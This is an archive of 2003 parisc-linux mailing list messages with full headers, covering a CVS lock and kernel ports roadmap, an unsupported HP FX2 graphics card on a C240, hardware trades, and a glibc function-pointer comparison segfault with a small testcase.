wrote in message <20030513222102.33F00482D@dsl2.external.hp.com>:
> CVSROOT:	/var/cvs
> Module name:	build-tools
> Changes by:	bame	03/05/13 16:21:02
>=20
> Added files:
> 	.              : cvs-mkpatch=20
>=20
> Log message:
> initial rev -- make patch from modified cvs dir

=2E..as if you had read my thoughts, I'm currently planing a roadmap for
pushing all ports upstream to Linus and looking for what work I could
do. Please read it at http://www.lug-owl.de/~jbglaw/linux-ports/ and
comment on it!


Ob, I'm still waiting for your lock to vanish:

cvs server: [08:07:34] waiting for bame's lock in /var/cvs/obsolete/binutil=
s-2.10
cvs server: [08:08:04] waiting for bame's lock in /var/cvs/obsolete/binutil=
s-2.10
cvs server: [08:08:34] waiting for bame's lock in /var/cvs/obsolete/binutil=
s-2.10


Please remove the lock or the whole ./obsolete/ directory.

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--lJhfsPy4o8B7pjPr
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+wXQGHb1edYOZ4bsRAlDMAJ4jAk+i/37dbTwKGotI5whCE7eGvwCeMHsk
ZaiLCYZ2kK5tnfANpryOwmI=
=riCF
-----END PGP SIGNATURE-----

--lJhfsPy4o8B7pjPr--


From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] build-tools bame
Date: Tue, 13 May 2003 23:50:22 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20030513225022.GQ29534@parcelfarce.linux.theplanet.co.uk>
References: <20030513222102.33F00482D@dsl2.external.hp.com> <20030513223902.GK27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622452 25704 80.91.229.3 (22 Nov 2014 02:14:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 16:50:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C4B9482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 May 2003 16:50:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19FibG-0000EJ-IX; Tue, 13 May 2003 23:50:22 +0100
Content-Disposition: inline
In-Reply-To: <20030513223902.GK27494@lug-owl.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18470

On Wed, May 14, 2003 at 12:39:02AM +0200, Jan-Benedict Glaw wrote:
> ...as if you had read my thoughts, I'm currently planing a roadmap for
> pushing all ports upstream to Linus and looking for what work I could
> do. Please read it at http://www.lug-owl.de/~jbglaw/linux-ports/ and
> comment on it!

Well, it seems like a complete lie to me.

I think pretty much every architecture on your `really small userbase'
list would take issue with being placed there.  In particular, I think
PPC is the second-largest Linux userbase after x86.

The PA-RISC port doesn't have much in the way of tweaks to common drivers.

I don't understand why you say for 2.4:

"Nearly up to date, many patches need to go upstream"

and for 2.5:

"Not really up to date, but not far away; some work needs to be done..."

I don't know whether you're claiming the kernel.org tree is uptodate or
whether our repository is up to date.  Neither statement seems true for
either case.  

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: no screens found on C240
Date: Tue, 13 May 2003 16:44:19 -0700 (PDT)
Lines: 47
Approved: news@gmane.org
Message-ID: <20030513234419.33129.qmail@web12501.mail.yahoo.com>
References: <20030513124438.GH29534@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1582450767-1052869459=:32197"
X-Trace: ger.gmane.org 1416622453 25707 80.91.229.3 (22 Nov 2014 02:14:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alan Hunter <a.hunter@moviem.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 17:44:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 82F12482D
	for <parisc-linux@parisc-linux.org>; Tue, 13 May 2003 17:44:28 -0600 (MDT)
Original-Received: from [161.114.1.183] by web12501.mail.yahoo.com via HTTP; Tue, 13 May 2003 16:44:19 PDT
In-Reply-To: <20030513124438.GH29534@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18471

--0-1582450767-1052869459=:32197
Content-Type: text/plain; charset=us-ascii

It was me offering the trade, but I think his FX2 is GSC and not PCI like I need.  I could be wrong though.
 
derek

Matthew Wilcox <willy@debian.org> wrote:
On Tue, May 13, 2003 at 01:24:11PM +0100, Alan Hunter wrote:
> I can't get X started on a C240 and don't have sufficient background to get to grips with the problem.
> 
> Here's what dmesg says:
> STI GSC/PCI graphics driver version 0.9
> STI PCI graphic ROM found at f1e00000 (2048 kB), fb at f6000000 (32 MB)
> STI word mode ROM at f1e00044, hpa at f6000000
> STI id 2fc1066b-9a02587, conforms to spec rev. 8.09
> STI device: HPA4552A
> stifb: Unsupported gfx card id 0x2fc1066b

A4552A is the FX2 card and is unsupported; I saw someone offering to
swap an EG card (which is supported) for an FX card a couple of days
ago on this list. Perhaps they're still interested?

-- 
"It's not Hollywood. War is real, war is primarily not about defeat or
victory, it is about death. I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

---------------------------------
Do you Yahoo!?
The New Yahoo! Search - Faster. Easier. Bingo.
--0-1582450767-1052869459=:32197
Content-Type: text/html; charset=us-ascii

<DIV>It was me offering the trade, but I think his FX2 is GSC and not PCI like I need.&nbsp; I could be wrong though.</DIV>
<DIV>&nbsp;</DIV>
<DIV>derek<BR><BR><B><I>Matthew Wilcox &lt;willy@debian.org&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">On Tue, May 13, 2003 at 01:24:11PM +0100, Alan Hunter wrote:<BR>&gt; I can't get X started on a C240 and don't have sufficient background to get to grips with the problem.<BR>&gt; <BR>&gt; Here's what dmesg says:<BR>&gt; STI GSC/PCI graphics driver version 0.9<BR>&gt; STI PCI graphic ROM found at f1e00000 (2048 kB), fb at f6000000 (32 MB)<BR>&gt; STI word mode ROM at f1e00044, hpa at f6000000<BR>&gt; STI id 2fc1066b-9a02587, conforms to spec rev. 8.09<BR>&gt; STI device: HPA4552A<BR>&gt; stifb: Unsupported gfx card id 0x2fc1066b<BR><BR>A4552A is the FX2 card and is unsupported; I saw someone offering to<BR>swap an EG card (which is supported) for an FX card a couple of days<BR>ago on this list. Perhaps 
 they're still interested?<BR><BR>-- <BR>"It's not Hollywood. War is real, war is primarily not about defeat or<BR>victory, it is about death. I've seen thousands and thousands of dead bodies.<BR>Do you think I want to have an academic debate on this subject?" -- Robert Fisk<BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/search/mailsig/*http://search.yahoo.com">The New Yahoo! Search</a> - Faster. Easier. Bingo.
--0-1582450767-1052869459=:32197--


From - Thu Nov 08 21:27:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Todd <rtodd@antipentium.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: no screens found on C240
Date: Tue, 13 May 2003 19:52:51 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <BAE6FD93.B4E%rtodd@antipentium.com>
References: <20030513234419.33129.qmail@web12501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="B_3135700372_27098146"
X-Trace: ger.gmane.org 1416622453 25708 80.91.229.3 (22 Nov 2014 02:14:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:13 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>,
	Alan Hunter <a.hunter@moviem.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 17:52:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from crypto.hack.co.za (h-69-3-43-158.PHLAPAFG.covad.net [69.3.43.158])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A356482D
	for <parisc-linux@parisc-linux.org>; Tue, 13 May 2003 17:52:56 -0600 (MDT)
Original-Received: from [10.0.1.3] (pcp02226300pcs.rte20201.de.comcast.net [68.32.188.79])
	by crypto.hack.co.za (Postfix) with ESMTP
	id C21F45B0B; Wed, 14 May 2003 01:51:10 +0200 (SAST)
User-Agent: Microsoft-Entourage/10.0.0.1309
In-Reply-To: <20030513234419.33129.qmail@web12501.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18472

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--B_3135700372_27098146
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I just came onto a few C180s if anyone wants one but I am in the
Philadelphia area and really do not want to ship any more of these...so if
you want come get



On 5/13/03 7:44 PM, "Derek Engelhaupt" <derekengelhaupt@rocketmail.com>
wrote:

> It was me offering the trade, but I think his FX2 is GSC and not PCI like I
> need.  I could be wrong though.
>  
> derek
> 
> Matthew Wilcox <willy@debian.org> wrote:
>> On Tue, May 13, 2003 at 01:24:11PM +0100, Alan Hunter wrote:
>>> > I can't get X started on a C240 and don't have sufficient background to
>>> get to grips with the problem.
>>> > 
>>> > Here's what dmesg says:
>>> > STI GSC/PCI graphics driver version 0.9
>>> > STI PCI graphic ROM found at f1e00000 (2048 kB), fb at f6000000 (32 MB)
>>> > STI word mode ROM at f1e00044, hpa at f6000000
>>> > STI id 2fc1066b-9a02587, conforms to spec rev. 8.09
>>> > STI device: HPA4552A
>>> > stifb: Unsupported gfx card id 0x2fc1066b
>> 
>> A4552A is the FX2 card and is unsupported; I saw someone offering to
>> swap an EG card (which is supported) for an FX card a couple of days
>> ago on this list. Perhaps they're still interested?



--B_3135700372_27098146
Content-type: text/html; charset="US-ASCII"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>Re: [parisc-linux] Re: no screens found on C240</TITLE>
</HEAD>
<BODY>
<FONT FACE=3D"Verdana">I just came onto a few C180s if anyone wants one but I=
 am in the Philadelphia area and really do not want to ship any more of thes=
e...so if you want come get<BR>
<BR>
<BR>
<BR>
On 5/13/03 7:44 PM, &quot;Derek Engelhaupt&quot; &lt;derekengelhaupt@rocket=
mail.com&gt; wrote:<BR>
<BR>
</FONT><BLOCKQUOTE><FONT FACE=3D"Verdana">It was me offering the trade, but I=
 think his FX2 is GSC and not PCI like I need. &nbsp;I could be wrong though=
.<BR>
&nbsp;<BR>
derek<BR>
<BR>
<B><I>Matthew Wilcox &lt;willy@debian.org&gt;</I></B> wrote:<BR>
</FONT><BLOCKQUOTE><FONT FACE=3D"Verdana">On Tue, May 13, 2003 at 01:24:11PM =
+0100, Alan Hunter wrote:<BR>
&gt; I can't get X started on a C240 and don't have sufficient background t=
o get to grips with the problem.<BR>
&gt; <BR>
&gt; Here's what dmesg says:<BR>
&gt; STI GSC/PCI graphics driver version 0.9<BR>
&gt; STI PCI graphic ROM found at f1e00000 (2048 kB), fb at f6000000 (32 MB=
)<BR>
&gt; STI word mode ROM at f1e00044, hpa at f6000000<BR>
&gt; STI id 2fc1066b-9a02587, conforms to spec rev. 8.09<BR>
&gt; STI device: HPA4552A<BR>
&gt; stifb: Unsupported gfx card id 0x2fc1066b<BR>
<BR>
A4552A is the FX2 card and is unsupported; I saw someone offering to<BR>
swap an EG card (which is supported) for an FX card a couple of days<BR>
ago on this list. Perhaps they're still interested?<BR>
</FONT></BLOCKQUOTE></BLOCKQUOTE><FONT FACE=3D"Verdana"><BR>
</FONT>
</BODY>
</HTML>


--B_3135700372_27098146--



From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: no screens found on C240
Date: Tue, 13 May 2003 18:43:27 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <20030514004327.GB20429@dsl2.external.hp.com>
References: <20030513124438.GH29534@parcelfarce.linux.theplanet.co.uk> <20030513234419.33129.qmail@web12501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622453 25710 80.91.229.3 (22 Nov 2014 02:14:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:13 +0000 (UTC)
Cc: Alan Hunter <a.hunter@moviem.co.uk>,
	parisc-linux@parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 18:43:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 98A99482D; Tue, 13 May 2003 18:43:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030513234419.33129.qmail@web12501.mail.yahoo.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18473

On Tue, May 13, 2003 at 04:44:19PM -0700, Derek Engelhaupt wrote:
> It was me offering the trade, but I think his FX2 is GSC and not PCI like
> I need.  I could be wrong though.

I think HP FX[E246] are PCI only.
C240 has 64-bit wide PCI slots.

grant


From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@speakeasy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: no screens found on C240
Date: Tue, 13 May 2003 21:17:47 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <DF30EF58-85A9-11D7-864A-000393581E44@speakeasy.net>
References: <20030514004327.GB20429@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622454 25715 80.91.229.3 (22 Nov 2014 02:14:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:14 +0000 (UTC)
Cc: Derek Engelhaupt <derekengelhaupt@rocketmail.com>,
	Alan Hunter <a.hunter@moviem.co.uk>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 19:17:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail13.speakeasy.net [216.254.0.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7175A482D
	for <parisc-linux@parisc-linux.org>; Tue, 13 May 2003 19:17:51 -0600 (MDT)
Original-Received: (qmail 19281 invoked from network); 14 May 2003 01:17:59 -0000
Original-Received: from unknown (HELO speakeasy.net) (caslivkoff@[216.27.161.152])
          (envelope-sender <caslivkoff@speakeasy.net>)
          by mail13.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <derekengelhaupt@rocketmail.com>; 14 May 2003 01:17:59 -0000
In-Reply-To: <20030514004327.GB20429@dsl2.external.hp.com>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18474

On Tuesday, May 13, 2003, at 20:43 US/Eastern, Grant Grundler wrote:

> On Tue, May 13, 2003 at 04:44:19PM -0700, Derek Engelhaupt wrote:
>> It was me offering the trade, but I think his FX2 is GSC and not PCI 
>> like
>> I need.  I could be wrong though.
>
> I think HP FX[E246] are PCI only.

Correct. As are the FX-5 & FX-10. The Vis-EG is the odd one: there were 
both GSC & PCI versions.




From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] more on canonicalize_funcptr_for_compare
Date: Tue, 13 May 2003 22:52:25 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <20030514055225.GJ548@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622454 25718 80.91.229.3 (22 Nov 2014 02:14:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 13 23:48:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAE604830
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 May 2003 23:48:23 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 91249CD28E; Tue, 13 May 2003 22:52:25 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18475

The latest glibc on hppa (2.3.1-17) was compiled with a gcc-3.2 which
has the __canonicalize_funcptr_for_compare patch backported from gcc-3.3
... with this new version, some programs will die on startup (e.g. vim).
I traced to a segfault in __canonicalize_funcptr_for_compare. 

The testcase below illustrates the problem:

=====
typedef void (*func_t)(void);

#define N ((func_t)2)

void foo(void) {};

int main(int argc, char **argv)
{
        return (foo == N);
}
=====

this program segfaults when run with:

(gdb) run
Starting program: /home/tausq/sig

Program received signal SIGSEGV, Segmentation fault.
0x00010530 in __canonicalize_funcptr_for_compare ()
(gdb) bt
#0  0x00010530 in __canonicalize_funcptr_for_compare ()
#1  0x000104bc in main (argc=1, argv=0xfaf001b8) at sig.c:9

it seems like the 2 in the constant (N) confuses the comparision
routine. If I change it to 1, everything is ok.... I don't really
understand this tho, because the code for __c_f_f_c has something like:

if ((int) fptr == -1 || (unsigned int) fptr < 4096 || !((int) fptr & 2))
    return (unsigned int) fptr;

so, why doesn't that match the second || case and exit?  (gdb
disassmbly shows that the code tries to dereference the fptr argument
and segfaults)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] build-tools bame
Date: Wed, 14 May 2003 08:54:43 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <20030514065443.GL27494@lug-owl.de>
References: <20030513222102.33F00482D@dsl2.external.hp.com> <20030513223902.GK27494@lug-owl.de> <20030513225022.GQ29534@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="YrHeAUbOAX9OMs3W"
X-Trace: ger.gmane.org 1416622454 25722 80.91.229.3 (22 Nov 2014 02:14:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 14 00:54:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 385B34830
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 May 2003 00:54:44 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 79BD54ABA9; Wed, 14 May 2003 08:54:43 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030513225022.GQ29534@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18476

--YrHeAUbOAX9OMs3W
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 2003-05-13 23:50:22 +0100, Matthew Wilcox <willy@debian.org>
wrote in message <20030513225022.GQ29534@parcelfarce.linux.theplanet.co.uk>:
> On Wed, May 14, 2003 at 12:39:02AM +0200, Jan-Benedict Glaw wrote:
> > ...as if you had read my thoughts, I'm currently planing a roadmap for
> > pushing all ports upstream to Linus and looking for what work I could
> > do. Please read it at http://www.lug-owl.de/~jbglaw/linux-ports/ and
> > comment on it!
>=20
> I think pretty much every architecture on your `really small userbase'
> list would take issue with being placed there.  In particular, I think
> PPC is the second-largest Linux userbase after x86.

I'm not looking for "mainstream" parts (like current PowerMACs) but for
the ports/boards which are problematic. And some of the rare boards *do*
